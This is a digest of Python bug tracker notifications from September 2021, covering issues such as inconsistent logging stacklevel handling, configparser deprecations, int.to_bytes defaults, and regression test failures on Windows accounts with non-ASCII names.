Message-ID: <1631357643.27.0.92791803667.issue43546@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 06:59:06 2021
From: report at bugs.python.org (Irit Katriel)
Date: Sat, 11 Sep 2021 10:59:06 +0000
Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10
 64bit
In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org>
Message-ID: <1631357946.33.0.385011451136.issue43983@roundup.psfhosted.org>


Irit Katriel  added the comment:

Thanks for the update Marwan. I'm closing because there doesn't seem to be any followup possible on our side.

----------
nosy: +iritkatriel
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 09:17:18 2021
From: report at bugs.python.org (Jouke Witteveen)
Date: Sat, 11 Sep 2021 13:17:18 +0000
Subject: [issue45171] stacklevel handling in logging module is inconsistent
Message-ID: <1631366238.78.0.687157218809.issue45171@roundup.psfhosted.org>


New submission from Jouke Witteveen :

Handling of `stacklevel` in the logging module makes a few unwarranted assumptions, for instance on the depth of the stack due to internal logging module calls. This can be seen for instance when using the shortcut call `logging.warning` to the root logger, instead of using `root_logger.warning`. Consider the following `stacklevel.py` file:

```
import logging
import warnings

root_logger = logging.getLogger()
root_logger.handle = print

def test(**kwargs):
    warnings.warn("warning-module", **kwargs)
    logging.warning("on-module", **kwargs)
    root_logger.warning("on-logger", **kwargs)

for stacklevel in range(5):
    print(f"{stacklevel=}")
    test(stacklevel=stacklevel)
```

The output of running `PYTHONWARNINGS=always python stacklevel.py` is:

```
stacklevel=0
stacklevel.py:8: UserWarning: warning-module
  warnings.warn("warning-module", **kwargs)


stacklevel=1
stacklevel.py:8: UserWarning: warning-module
  warnings.warn("warning-module", **kwargs)


stacklevel=2
stacklevel.py:14: UserWarning: warning-module
  test(stacklevel=stacklevel)


stacklevel=3
sys:1: UserWarning: warning-module


stacklevel=4
sys:1: UserWarning: warning-module


```

Looking at the line numbers, we get:
stacklevel 0: lines 8, 9, 10.
stacklevel 1: lines 8, 9, 10.
stacklevel 2: lines 14, 9, 14.
stacklevel 3: lines sys:1, 14, 10.
stacklevel 4: lines sys:1, 9, 10.

As can be seen, the stacklevel for the on-module (shortcut) calls lags one level of unwinding behind.

----------
components: Library (Lib)
messages: 401638
nosy: joukewitteveen
priority: normal
severity: normal
status: open
title: stacklevel handling in logging module is inconsistent
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 09:25:58 2021
From: report at bugs.python.org (Jouke Witteveen)
Date: Sat, 11 Sep 2021 13:25:58 +0000
Subject: [issue45171] stacklevel handling in logging module is inconsistent
In-Reply-To: <1631366238.78.0.687157218809.issue45171@roundup.psfhosted.org>
Message-ID: <1631366758.79.0.181030496834.issue45171@roundup.psfhosted.org>


Change by Jouke Witteveen :


----------
keywords: +patch
pull_requests: +26703
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28287

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 09:43:46 2021
From: report at bugs.python.org (David CARLIER)
Date: Sat, 11 Sep 2021 13:43:46 +0000
Subject: [issue45172] netbsd CAN protocol flags addition
Message-ID: <1631367826.9.0.525504625314.issue45172@roundup.psfhosted.org>


Change by David CARLIER :


----------
components: Library (Lib)
nosy: devnexen
priority: normal
pull_requests: 26704
severity: normal
status: open
title: netbsd CAN protocol flags addition
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 10:02:00 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sat, 11 Sep 2021 14:02:00 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631368920.46.0.473587004962.issue44987@roundup.psfhosted.org>


Dong-hee Na  added the comment:

> Well, someone should write a PR for it.

Well, I sent a patch :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 10:44:47 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 14:44:47 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631371487.97.0.881638390591.issue35474@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 97ea18ecede8bfd33d5ab2dd0e7e2aada2051111 by Serhiy Storchaka in branch 'main':
bpo-35474: Fix mimetypes.guess_all_extensions() potentially mutating list (GH-28286)
https://github.com/python/cpython/commit/97ea18ecede8bfd33d5ab2dd0e7e2aada2051111


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 10:44:55 2021
From: report at bugs.python.org (miss-islington)
Date: Sat, 11 Sep 2021 14:44:55 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631371495.8.0.935768150078.issue35474@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26706
pull_request: https://github.com/python/cpython/pull/28290

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 10:44:51 2021
From: report at bugs.python.org (miss-islington)
Date: Sat, 11 Sep 2021 14:44:51 +0000
Subject: [issue35474] mimetypes.guess_all_extensions potentially mutates list
In-Reply-To: <1544641617.77.0.788709270274.issue35474@psf.upfronthosting.co.za>
Message-ID: <1631371491.84.0.74764493346.issue35474@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26705
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28289

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 10:45:20 2021
From: report at bugs.python.org (E. Paine)
Date: Sat, 11 Sep 2021 14:45:20 +0000
Subject: [issue45160] ttk.OptionMenu radiobuttons change variable value twice
In-Reply-To: <1631257980.33.0.506661911605.issue45160@roundup.psfhosted.org>
Message-ID: <1631371520.19.0.584255236425.issue45160@roundup.psfhosted.org>


Change by E. Paine :


----------
keywords: +patch
pull_requests: +26707
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28291

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 11:04:42 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 15:04:42 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631372682.23.0.407610676295.issue44987@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 9abd07e5963f966c4d6df8f4e4bf390ed8191066 by Dong-hee Na in branch 'main':
bpo-44987: Speed up unicode normalization of ASCII strings (GH-28283)
https://github.com/python/cpython/commit/9abd07e5963f966c4d6df8f4e4bf390ed8191066


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 11:05:19 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 15:05:19 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631372719.09.0.28732772074.issue44987@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 12:01:33 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 16:01:33 +0000
Subject: [issue45163] Haiku build fix
In-Reply-To: <1631349993.04.0.408583087956.issue45163@roundup.psfhosted.org>
Message-ID: <1631376093.61.0.917321626657.issue45163@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 12:55:03 2021
From: report at bugs.python.org (mattip)
Date: Sat, 11 Sep 2021 16:55:03 +0000
Subject: [issue15870] PyType_FromSpec should take metaclass as an argument
In-Reply-To: <1346946566.36.0.583610018294.issue15870@psf.upfronthosting.co.za>
Message-ID: <1631379303.59.0.239783914379.issue15870@roundup.psfhosted.org>


mattip  added the comment:

>> I wouldn't recommend [setting ob_type] after PyType_Ready is called.

> Why not?  What bad things will happen?  It seems to be working so far.

It breaks the unwritten contract that "once PyType_Ready is called, the C struct will not be modified". This is implemented in PyPy, since calling PyType_Ready creates the PyPy object in the interpreter based on the C structure. Any further changes will not be reflected in the PyPy interpreter object, so now the python-level and c-level objects do not agree what type(obj) is.

We have discussed this in the PyPy team, and would like to propose relaxing the contract to state that "if the c-level contents of an object are modified, PyType_Modified must be called to re-synce the python level and c-level objects"

----------
nosy: +mattip

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 13:05:24 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 11 Sep 2021 17:05:24 +0000
Subject: [issue45170] tarfile missing cross-directory checking
In-Reply-To: <1631346341.79.0.894184434435.issue45170@roundup.psfhosted.org>
Message-ID: <1631379924.16.0.518041444745.issue45170@roundup.psfhosted.org>


Eric V. Smith  added the comment:

This is documented in the tarfile docs:

Warning

Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 14:10:39 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Sat, 11 Sep 2021 18:10:39 +0000
Subject: [issue45173] Remove configparser deprecations
Message-ID: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org>


New submission from Hugo van Kemenade :

In the configparser module, these have been deprecated since Python 3.2:

* the SafeConfigParser class,
* the filename property of the ParsingError class,
* the readfp method of the ConfigParser class,

They can be removed in Python 3.11.

----------
components: Library (Lib)
messages: 401644
nosy: hugovk
priority: normal
severity: normal
status: open
title: Remove configparser deprecations
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 14:13:17 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Sat, 11 Sep 2021 18:13:17 +0000
Subject: [issue45173] Remove configparser deprecations
In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org>
Message-ID: <1631383997.17.0.100255735759.issue45173@roundup.psfhosted.org>


Change by Hugo van Kemenade :


----------
keywords: +patch
pull_requests: +26708
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28292

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 14:14:38 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Sat, 11 Sep 2021 18:14:38 +0000
Subject: [issue45173] Remove configparser deprecations
In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org>
Message-ID: <1631384078.5.0.0705514850685.issue45173@roundup.psfhosted.org>


Hugo van Kemenade  added the comment:

Also, the LegacyInterpolation class is deprecated since Python 3.2 but with no DeprecationWarning.

A quick sampling of GitHub results shows only copies of CPython's configparser.py and test_configparser.py

https://github.com/search?l=Python&p=1&q=LegacyInterpolation+extension%3Apy+language%3APython+language%3APython&ref=advsearch&type=Code

No use found in the top 200 PyPI packages.

Is it safe to remove now, or should it raise DeprecationWarning for a couple of releases first?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 14:51:02 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sat, 11 Sep 2021 18:51:02 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631386262.47.0.855008508725.issue44987@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
pull_requests: +26709
pull_request: https://github.com/python/cpython/pull/28293

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 15:06:01 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Sat, 11 Sep 2021 19:06:01 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631387161.85.0.680638218817.issue44987@roundup.psfhosted.org>


Dong-hee Na  added the comment:


New changeset 5277ffe12d492939544ff9c54a3aaf448b913fb3 by Dong-hee Na in branch 'main':
bpo-44987: Fix typo whatsnew 3.11 (GH-28293)
https://github.com/python/cpython/commit/5277ffe12d492939544ff9c54a3aaf448b913fb3


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 15:11:30 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Sat, 11 Sep 2021 19:11:30 +0000
Subject: [issue45125] Improve tests and docs of how `pickle` works with
 `SharedMemory` obejcts
In-Reply-To: <1631009872.94.0.369430162871.issue45125@roundup.psfhosted.org>
Message-ID: <1631387490.88.0.540053087297.issue45125@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
pull_requests: +26710
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28294

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 16:34:59 2021
From: report at bugs.python.org (David CARLIER)
Date: Sat, 11 Sep 2021 20:34:59 +0000
Subject: [issue45174] DragonflyBSD fix nis module build
Message-ID: <1631392499.44.0.816615961094.issue45174@roundup.psfhosted.org>


Change by David CARLIER :


----------
components: Library (Lib)
nosy: devnexen
priority: normal
pull_requests: 26711
severity: normal
status: open
title: DragonflyBSD fix nis module build
type: compile error
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 17:01:11 2021
From: report at bugs.python.org (Ian Good)
Date: Sat, 11 Sep 2021 21:01:11 +0000
Subject: [issue45081] dataclasses that inherit from Protocol subclasses have
 wrong __init__
In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org>
Message-ID: <1631394071.12.0.778239336133.issue45081@roundup.psfhosted.org>


Ian Good  added the comment:

I believe this was a deeper issue that affected all classes inheriting Protocol, causing a TypeError on even the most basic case (see attached):

Traceback (most recent call last):
  File "/.../test.py", line 14, in 
    MyClass()
  File "/.../test.py", line 11, in __init__
    super().__init__()
  File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/typing.py", line 1083, in _no_init
    raise TypeError('Protocols cannot be instantiated')
TypeError: Protocols cannot be instantiated


This was a new regression in 3.9.7 and seems to be resolved by this fix. The desired behavior should be supported according to PEP 544: https://www.python.org/dev/peps/pep-0544/#explicitly-declaring-implementation

----------
nosy: +icgood
Added file: https://bugs.python.org/file50277/test.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 17:10:07 2021
From: report at bugs.python.org (Jason Yundt)
Date: Sat, 11 Sep 2021 21:10:07 +0000
Subject: [issue45175] No warning with '-W always' and cached import
Message-ID: <1631394606.92.0.819675114557.issue45175@roundup.psfhosted.org>


New submission from Jason Yundt :

I have a script which always produces a warning when you run it. If I import always_warns from another script, that script will only produce a warning once.

Steps to reproduce:
$ python -W always always_warns.py
/tmp/Bug reproduction/always_warns.py:1: DeprecationWarning: invalid escape sequence \ 
  "\ "
$ python -W always always_warns.py
/tmp/Bug reproduction/always_warns.py:1: DeprecationWarning: invalid escape sequence \ 
  "\ "
$ python -W always imports_always_warns.py
/tmp/Bug reproduction/always_warns.py:1: DeprecationWarning: invalid escape sequence \ 
  "\ "
$ python -W always imports_always_warns.py
$

There should be a warning for that last one, but there isn?t. If I delete __pycache__, imports_always_warns.py makes the warning appear again.

----------
files: Bug reproduction.zip
messages: 401648
nosy: jayman
priority: normal
severity: normal
status: open
title: No warning with '-W always' and cached import
type: behavior
versions: Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50278/Bug reproduction.zip

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 17:19:34 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 21:19:34 +0000
Subject: [issue45175] No warning with '-W always' and cached import
In-Reply-To: <1631394606.92.0.819675114557.issue45175@roundup.psfhosted.org>
Message-ID: <1631395174.99.0.259591845696.issue45175@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

This warning is produced by the compiler when it compiles the source code. If it is already compiled, no compiler is involved.

----------
nosy: +serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 18:07:47 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 11 Sep 2021 22:07:47 +0000
Subject: [issue45174] DragonflyBSD fix nis module build
Message-ID: <1631398067.98.0.348265925051.issue45174@roundup.psfhosted.org>


New submission from Serhiy Storchaka :

The main difference between platforms is that the first argument of the foreach function is int on some platforms and unsigned long on others.

PR 28295 fixes code not only on DragonflyBSD, but on FreeBSD and OpenBSD, where it is unsigned long. It is a bug fix which should be backported. But I afraid that it can break code on macOS. See f6067ec336e2eff1fc1cce90c67c20b0d4e80c22. I am not sure that I understand it completely.

Are there compiler warnings when compile nismodule.c on macOS now? Does nis.cat() work on macOS now? If remove a cast to foreachfunc at line 255, will the compiler complain and how? Will nis.cat() work on macOS with PR 28295 applied?

----------
components: +macOS
nosy: +brett.cannon, ned.deily, ronaldoussoren, serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 19:35:09 2021
From: report at bugs.python.org (Christian Tismer)
Date: Sat, 11 Sep 2021 23:35:09 +0000
Subject: [issue15870] PyType_FromSpec should take metaclass as an argument
In-Reply-To: <1346946566.36.0.583610018294.issue15870@psf.upfronthosting.co.za>
Message-ID: <1631403309.3.0.50283617717.issue15870@roundup.psfhosted.org>


Christian Tismer  added the comment:

Since PyPy does not use the Limited API, PySide can quite easily work around the limitations by directly working with the type object. 

But the usage of PyType_Modified() would make very much sense for PySide?s new switchable features. That would work immediately without any change, because we already use that function to invalidate Python 3.10?s type cache.

----------
nosy: +Christian.Tismer

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Sep 11 20:33:15 2021
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 12 Sep 2021 00:33:15 +0000
Subject: [issue45156] mock.seal has infinite recursion with int class
 attributes
In-Reply-To: <1631225364.14.0.346239674418.issue45156@roundup.psfhosted.org>
Message-ID: <1631406795.2.0.793513019152.issue45156@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan :


----------
nosy: +xtreak

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 03:53:14 2021
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 12 Sep 2021 07:53:14 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631433194.15.0.641006566294.issue45155@roundup.psfhosted.org>


Vedran ?a?i?  added the comment:

My sensibilities are irrelevant here. I'm just saying we already have a standard byte order for data in transit, and it was introduced long before this thing called internet (it was with capital I back then:) started to interest me.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 04:21:45 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 08:21:45 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631434905.74.0.254488920824.issue45155@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

The struct module has 4 different modes. By default it uses not only native byte order, but native sizes and alignments which depend on OS and compiler. You need to know all these details just to understand the format codes. I think that the struct module user is more prepared to work with different word sizes and therefore with different byte ordering.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 04:38:45 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Sun, 12 Sep 2021 08:38:45 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org>
Message-ID: <1631435925.31.0.761669283801.issue45105@roundup.psfhosted.org>


Ronald Oussoren  added the comment:

@Steven: the difference between indexing and the repr of list() is also explained by Eryk's explanation.

s = ... # (value from msg401078)
for x in repr(list(s)):
   print(x)

The output shows characters in the expected order.

----------
nosy: +ronaldoussoren

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 04:38:59 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 08:38:59 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631435939.89.0.977397796239.issue45155@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

In the stdlib, there is only one use of to_bytes() with sys.byteorder (2 in tests), 16 uses of to_bytes()/from_bytes() with 'little' (22 in tests) and 22 uses with 'big' (33 in tests). So making sys.byteorder the default will help almost nobody, and the advantage of 'big' over 'litte' is so small, that making any of them the default may only help in a half of cases and confuse in the other half.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 04:57:14 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 08:57:14 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org>
Message-ID: <1631437034.23.0.826075594461.issue45105@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

We recently discussed the RTLO attack on Python sources (sorry, I don't remember on what resource) and decided that we should do something with this. I think this is a related issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 05:50:10 2021
From: report at bugs.python.org (Ming Hua)
Date: Sun, 12 Sep 2021 09:50:10 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
Message-ID: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>


New submission from Ming Hua :

Background:
Since at least Windows 8, it is possible to invoke the input method engine (IME) when installing Windows and creating accounts.  So at least among simplified Chinese users, it's not uncommon to have a Chinese account name.

Issue:
After successful installation using the 64-bit .exe installer for Windows, just to be paranoid (and to get familiar with Python's test framework), I decided to run the bundled regression tests.  To my surprise I got many failures.  The following is the summary of "python.exe -m test" with 3.8 some months ago (likely 3.8.6):

371 tests OK.

11 tests failed:
    test_cmd_line_script test_compileall test_distutils test_doctest
    test_locale test_mimetypes test_py_compile test_tabnanny
    test_urllib test_venv test_zipimport_support

43 tests skipped:
    test_asdl_parser test_check_c_globals test_clinic test_curses
    test_dbm_gnu test_dbm_ndbm test_devpoll test_epoll test_fcntl
    test_fork1 test_gdb test_grp test_ioctl test_kqueue
    test_multiprocessing_fork test_multiprocessing_forkserver test_nis
    test_openpty test_ossaudiodev test_pipes test_poll test_posix
    test_pty test_pwd test_readline test_resource test_smtpnet
    test_socketserver test_spwd test_syslog test_threadsignals
    test_timeout test_tix test_tk test_ttk_guionly test_urllib2net
    test_urllibnet test_wait3 test_wait4 test_winsound test_xmlrpc_net
    test_xxtestfuzz test_zipfile64

Total duration: 59 min 49 sec
Tests result: FAILURE

The failures all look similar though, it seems Python on Windows assumes the home directory of the user, "C:\Users\\", is either in ASCII or UTF-8 encoding, while it is actually in Windows native codepage, in my case cp936 for simplified Chinese (zh-CN).

To take a couple of examples (these are from recent testing with 3.10.0 rc2):

> python.exe -m test -W test_cmd_line_script
0:00:03 Run tests sequentially
0:00:03 [1/1] test_cmd_line_script
[...]
test_consistent_sys_path_for_direct_execution (test.test_cmd_line_script.CmdLineTest) ... ERROR
[...]
test_directory_error (test.test_cmd_line_script.CmdLineTest) ... FAIL
[...]
ERROR: test_consistent_sys_path_for_direct_execution (test.test_cmd_line_script.CmdLineTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Programs\Python\python310\lib\test\test_cmd_line_script.py", line 677, in test_consistent_sys_path_for_direct_execution
    out_by_name = kill_python(p).decode().splitlines()
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbb in position 9: invalid start byte
[...]
FAIL: test_directory_error (test.test_cmd_line_script.CmdLineTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Programs\Python\python310\lib\test\test_cmd_line_script.py", line 268, in test_directory_error
    self._check_import_error(script_dir, msg)
  File "C:\Programs\Python\python310\lib\test\test_cmd_line_script.py", line 151, in _check_import_error
    self.assertIn(expected_msg.encode('utf-8'), err)
AssertionError: b"can't find '__main__' module in 'C:\\\\Users\\\\\xe5<5 bytes redacted>\\\\AppData\\\\Local\\\\Temp\\\\tmpcwkfn9ct'" not found in b"C:\\Programs\\Python\\python310\\python.exe: can't find '__main__' module in 'C:\\\\Users\\\\\xbb<3 bytes redacted>\\\\AppData\\\\Local\\\\Temp\\\\tmpcwkfn9ct'\r\n"
[...]
----------------------------------------------------------------------
Ran 44 tests in 29.769s

FAILED (failures=2, errors=5)
test test_cmd_line_script failed
test_cmd_line_script failed (5 errors, 2 failures) in 30.4 sec

== Tests result: FAILURE ==

In the above test_directory_error AssertionError message I redacted part of the path as my account name is my real name.  Hope the issue is clear enough despite the redaction, since the "\xe5<5 bytes redacted>" part is 6 bytes and apparently in UTF-8 (for two Chinese characters) and the "\xbb<3 bytes redacted>" part is 4 bytes and apparently in cp936.

Postscript:
As I've said above, I discovered this issue some time ago, but only have time now to report it.  I believe I've see these failures in 3.8.2/6, 3.9.7, and 3.10.0 rc2.  It shouldn't be hard to reproduce for people with ways to create account with non-ASCII name on Windows.  If reproducing turns out to be difficult though, I'm happy to provide more information and/or run more tests.

----------
components: Tests
messages: 401659
nosy: minghua
priority: normal
severity: normal
status: open
title: Many regtest failures on Windows with non-ASCII account name
versions: Python 3.10, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 06:21:49 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 10:21:49 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
In-Reply-To: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>
Message-ID: <1631442109.6.0.499824206444.issue45176@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
components: +Unicode
nosy: +ezio.melotti, serhiy.storchaka, vstinner
type:  -> behavior
versions: +Python 3.11 -Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 06:28:13 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 10:28:13 +0000
Subject: [issue43413] tuple subclasses allow arbitrary kwargs
In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org>
Message-ID: <1631442493.6.0.908114078772.issue43413@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 92bf8691fb78f3484bf2daba836c416efedb1d8d by Serhiy Storchaka in branch 'main':
bpo-43413: Fix handling keyword arguments in subclasses of some buitin classes (GH-26456)
https://github.com/python/cpython/commit/92bf8691fb78f3484bf2daba836c416efedb1d8d


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 06:29:49 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 10:29:49 +0000
Subject: [issue43413] tuple subclasses allow arbitrary kwargs
In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org>
Message-ID: <1631442589.5.0.936804899164.issue43413@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:18:03 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 12 Sep 2021 11:18:03 +0000
Subject: [issue45176] Many regtest failures on Windows with non-ASCII account
 name
In-Reply-To: <1631440210.21.0.262674266068.issue45176@roundup.psfhosted.org>
Message-ID: <1631445483.55.0.474720272768.issue45176@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:20:58 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 12 Sep 2021 11:20:58 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631445658.16.0.770802421368.issue45155@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Interestingly, "little" is faster than "big".

$ python3.10 -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "little")'
5000000 loops, best of 11: 82.7 nsec per loop
$ python3.10 -m timeit -r11 -s 'x=3452452454524' 'x.to_bytes(10, "big")'
5000000 loops, best of 11: 90.6 nsec per loop

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep 12 07:25:56 2021
From: report at bugs.python.org (Irit Katriel)
